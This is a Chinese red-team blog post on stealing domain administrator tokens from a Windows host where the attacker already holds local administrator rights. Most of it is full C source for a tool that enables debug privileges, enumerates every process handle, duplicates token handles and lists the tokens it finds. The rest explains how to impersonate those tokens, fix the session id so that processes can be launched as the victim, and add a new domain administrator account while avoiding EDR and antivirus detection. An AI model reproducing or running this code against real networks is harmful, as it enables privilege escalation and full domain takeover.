域内令牌窃取
2023-2-6 10:1:54 Author: 红队蓝军(查看原文) 阅读量:44 收藏

前言

有这样一种场景,拿到了一台主机权限,是本地管理员,同时在这台主机上登录的是域管成员,这时我们可以通过dump lsass或通过 Kerberos TGT ,但是这是非常容易被edr命中的。

本文就通过令牌窃取进行研究,并希望知道其中的具体细节。

通过dump lsass

此时你能够通过dump lsass或者等绕过方式抓取到域管用户的ntlm hash,通过这个hash然后再去pth等方式利用,但在有edr环境中,这是很容易被hunt的。

token list

我们可以获取当前主机上所有的token并列出,因为我们此时拥有本地管理员权限,通过Debug

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "ntdll")

#define MAX_USERNAME_LENGTH 256
#define MAX_DOMAINNAME_LENGTH 256
#define FULL_NAME_LENGTH 271
#define TOKEN_TYPE_LENGTH 30
#define COMMAND_LENGTH 1000
#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH             ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW                  ((NTSTATUS)0x80000005L)
#define SystemHandleInformation                 16
#define SystemHandleInformationSize             1024 * 1024 * 10

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT ProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}  SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _POOL_TYPE {
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION {
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG Inis_token_validAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG is_token_validAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING* POBJECT_NAME_INFORMATION;

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

typedef struct {
    HANDLE token_handle;
    int token_id;
    wchar_t owner_name[FULL_NAME_LENGTH];
    wchar_t user_name[FULL_NAME_LENGTH];
    wchar_t TokenType[100];
    wchar_t TokenImpersonationLevel[100];
} TOKEN;

void get_token_owner_info(TOKEN* TOKEN_INFO) {
    wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
    SID_NAME_USE sid;
    DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL0, &token_info)) {
        PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info)) {
            LookupAccountSidW(NULL, ((TOKEN_OWNER*)TokenStatisticsInformation)->Owner, username, &user_length, domain, &domain_length, &sid);
            _snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);
            wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGTH, full_name);
        }
    }
}

void get_token_user_info(TOKEN* TOKEN_INFO) {
    wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];
    DWORD user_length = sizeof(username), domain_length = sizeof(domain), token_info;
    SID_NAME_USE sid;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL0, &token_info)) {
        PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info)) {
            LookupAccountSidW(NULL, ((TOKEN_USER*)TokenStatisticsInformation)->User.Sid, username, &user_length, domain, &domain_length, &sid);
            _snwprintf_s(full_name, FULL_NAME_LENGTH, L"%ws/%ws", domain, username);
            wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGTH, full_name);
        }
    }
}

void get_token_security_context(TOKEN* TOKEN_INFO) {
    DWORD returned_tokimp_length;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL0, &returned_tokimp_length)) {
        PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_length);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length)) {
            if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityImpersonation) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityImpersonation");
            }
            else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityDelegation) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityDelegation");
            }
            else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityAnonymous) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityAnonymous");
            }
            else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) == SecurityIdentification) {
                wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L"SecurityIdentification");
            }
        }
    }
}

void get_token_information(TOKEN* TOKEN_INFO) {
    DWORD returned_tokinfo_length;
    if (!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL0, &returned_tokinfo_length)) {
        PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_length);
        if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length)) {
            if (TokenStatisticsInformation->TokenType == TokenPrimary) {
                wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenPrimary");
            }
            else if (TokenStatisticsInformation->TokenType == TokenImpersonation) {
                wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGTH, L"TokenImpersonation");
            }
        }
    }
}

LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) {
    LPWSTR data = NULL;
    DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
    POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize);

    NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
    if ((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)) {
        pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);
        ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
    }
    if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) {
        data = (LPWSTR)calloc(pObjectInfo->Length, sizeof(WCHAR));
        CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
    }
    free(pObjectInfo);
    return data;
}

int wmain(int argc, wchar_t* argv[]) {

    HANDLE hToken;
    DWORD cbSize;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL0, &cbSize);
    PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
    GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
    DWORD integrity_level = (DWORD)*GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));

    if (integrity_level < SECURITY_MANDATORY_HIGH_RID) {
        printf("Low privilege, cannot use the impersonation technique...\n");
        return 1;
    }

    TOKEN_PRIVILEGES tp;
    LUID luidSeAssignPrimaryTokenPrivilege;
    printf("[?] Enabling SeAssignPrimaryToken\n");
    if (LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0) {
        printf("\t[!] SeAssignPrimaryToken not owned!\n");
    }
    else {
        printf("\t[*] SeAssignPrimaryToken owned!\n");
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULLNULL) == 0) {
        printf("\t[!] SeAssignPrimaryToken adjust token failed: %d\n", GetLastError());
    }
    else {
        printf("\t[*] SeAssignPrimaryToken enabled!\n");
    }

    LUID luidSeDebugPrivivilege;
    printf("[?] Enabling SeDebugPrivilege\n");
    if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivivilege) == 0) {
        printf("\t[!] SeDebugPrivilege not owned!\n");
    }
    else {
        printf("\t[*] SeDebugPrivilege owned!\n");
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luidSeDebugPrivivilege;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULLNULL) == 0) {
        printf("\t[!] SeDebugPrivilege adjust token failed: %d\n", GetLastError());
    }
    else {
        printf("\t[*] SeDebugPrivilege enabled!\n");
    }

    CloseHandle(hProcess);
    CloseHandle(hToken);

    ULONG returnLenght = 0;
    TOKEN found_tokens[100];
    int nbrsfoundtokens = 0;
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
    for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
        
        HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);
        if (process == INVALID_HANDLE_VALUE) {
            CloseHandle(process);
            continue;
        }

        HANDLE dupHandle;
        if (DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0) {
            CloseHandle(process);
            continue;
        }

        POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192);
        if (wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token")) {
            CloseHandle(process);
            CloseHandle(dupHandle);
            continue;
        }

        TOKEN TOKEN_INFO;
        TOKEN_INFO.token_handle = dupHandle;
        get_token_owner_info(&TOKEN_INFO);
        get_token_user_info(&TOKEN_INFO);
        get_token_information(&TOKEN_INFO);

        if (wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0) {
            get_token_security_context(&TOKEN_INFO);
        }
        else {
            wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L" ");
        }

        int is_new_token = 0;
        for (int j = 0; j <= nbrsfoundtokens; j++) {
            if (wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO.TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0) {
                is_new_token = 1;
            }
        }

        if (is_new_token == 0) {
            TOKEN_INFO.token_id = nbrsfoundtokens;
            found_tokens[nbrsfoundtokens] = TOKEN_INFO;
            nbrsfoundtokens += 1;
        }
        CloseHandle(process);
    }

    printf("\n[*] Listing available tokens\n");
    for (int k = 0; k < nbrsfoundtokens; k++) {
        printf("[ID: %d][%ws][%ws] Owner: %ws User: %ws\n", found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name);
    }

    return 0;
}

  • 由二进制文件本身生成的令牌 ID,用于标识令牌
  • 指示令牌是主令牌还是模拟令牌的令牌类型
  • 令牌的安全上下文,如果令牌是模拟令牌(这就是此字段对于主要令牌为空的原因)。有四种不同的值指示用户是否经过身份验证,是否可以模拟他们以及如何:
    • SecurityAnonymous:该进程无法识别系统上的用户,因此无法模拟他们(大多数相关线程是在使用匿名绑定进行非交互式日志记录后获得的)
    • SecurityIdentification:该进程可以识别系统上的用户但不能模拟他们
    • SecurityImpersonate:用户已通过身份验证,可以在本地系统上模拟
    • SecurityDelegation:用户已通过身份验证,可以在本地系统和远程系统上进行模拟
  • 令牌的所有者,创建它的人
  • 令牌关联的用户

可使用DuplicateTokenEx去复制一个令牌

BOOL DuplicateTokenEx(
  [in]           HANDLE                       hExistingToken,
  [in]           DWORD                        dwDesiredAccess,
  [in, optional] LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  [in]           SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  [in]           TOKEN_TYPE                   TokenType,
  [out]          PHANDLE                      phNewToken
)
;

通过DuplicateTokenEx去复制一个令牌后,有如下三种方式去模拟登录或创建进程

  • 使用ImpersonateLoggedOnUser函数
  • 创建新进程使用CreateProcessAsUser或者 CreateProcessWithToken
  • 使用LogonUser 函数

其中logonuser需要我们提供账号密码,我们不使用他

ImpersonateLoggedOnUser

BOOL ImpersonateLoggedOnUser(
  [in] HANDLE hToken
)
;

可以直接将复制域管权限的令牌传入,在执行RevertToSelf函数之前都会以模拟令牌的权限进行运行

假设我们此时模拟了域管权限,即可添加一个域内账户(域管账户)

这个代码实际就是通过ImpersonateLoggedOnUser模拟了用户,然后调用NetUserAdd和NetGroupAddUser来添加用户(ps:不做处理的话360肯定会被拦截)

CreateProcessAsUserW&CreateProcessWithTokenW

  • CreateProcessAsUserW:
BOOL CreateProcessAsUserW(
    HANDLE                hToken,               // Handle of the duplicated token
    LPCWSTR               lpApplicationName,    // Name of the binary to launch
    LPWSTR                lpCommandLine,        // Complementary parameters
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL                  bInheritHandles,
    DWORD                 dwCreationFlags,
    LPVOID                lpEnvironment,
    LPCWSTR               lpCurrentDirectory,
    LPSTARTUPINFOW        lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
)
;
  • CreateProcessWithTokenW:
BOOL CreateProcessWithTokenW(
    HANDLE                hToken,               // Handle of the duplicated token
    DWORD                 dwLogonFlags,
    LPCWSTR               lpApplicationName,    // Name of the binary to launch
    LPWSTR                lpCommandLine,        // Complementary parameters
    DWORD                 dwCreationFlags,
    LPVOID                lpEnvironment,
    LPCWSTR               lpCurrentDirectory,
    LPSTARTUPINFOW        lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
)
;

使用CreateProcessWithTokenW或者CreateProcessAsUserW可以以令牌创建进程。

假设我们模拟nt authority\system执行

再模拟域管权限创建进程。

这时可以看到是一个黑窗,实际上这是跟session有关。

本地管理员和域管实际上是两个完全隔离的session。

我们复制的token为session 2的token,然后此时如果调用CreateProcessWithTokenW,会以session 2来创建图形化界面,而此时我们当前进程的在session 1中,不符合所以崩溃了。

要获取当前进程的session id,可以使用winapi ProcessIdToSessionId

0环也有一个结构体中存储这对应的session id的值,_Token结构体

要更改复制的token的session id,我们可以通过SetTokenInformation去修改。

BOOL SetTokenInformation(
  [in] HANDLE                  TokenHandle,
  [in] TOKEN_INFORMATION_CLASS TokenInformationClass,
  [in] LPVOID                  TokenInformation,
  [in] DWORD                   TokenInformationLength
)
;

但使用该函数修改不属于我们自己的进程必须拥有高权限才能使用,至少是拥有SeTCBPrivilege权限。

但此时我们可以模拟c账户,所以是可行的。

首先提升到NT AUTHORITY\SYSTEM账户,这里的NT AUTHORITY\SYSTEM必须是session 0的,可模拟的的token。

然后可以通过新起的cmd,来模拟域管的权限。

这里考虑到如果没有图形化权限(主要是为了契合一些远程执行工具,如psexec wmiexec winrm),可以使用CreateProcessAsUserW,它的回显将会在当前窗口下,而不会新起一个窗口。

wx

往期推荐

最简单绕过ring3 hook的方式(bypass bitdefender)

域内定位个人PC的三种方式

基于资源的约束委派(RBCD)

syscall的检测与绕过

patchless amsi学习

什么?你还不会webshell免杀?(十)

PPL攻击详解

绕过360核晶抓取密码


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247506691&idx=1&sn=ac9f19fbc2155c032a02d75c065b6f75&chksm=ce6761bff910e8a9ba231adfce7b847116d3eb760fb702c3cce0de98e6edd308567ac827e7ba#rd
如有侵权请联系:admin#unsafe.sh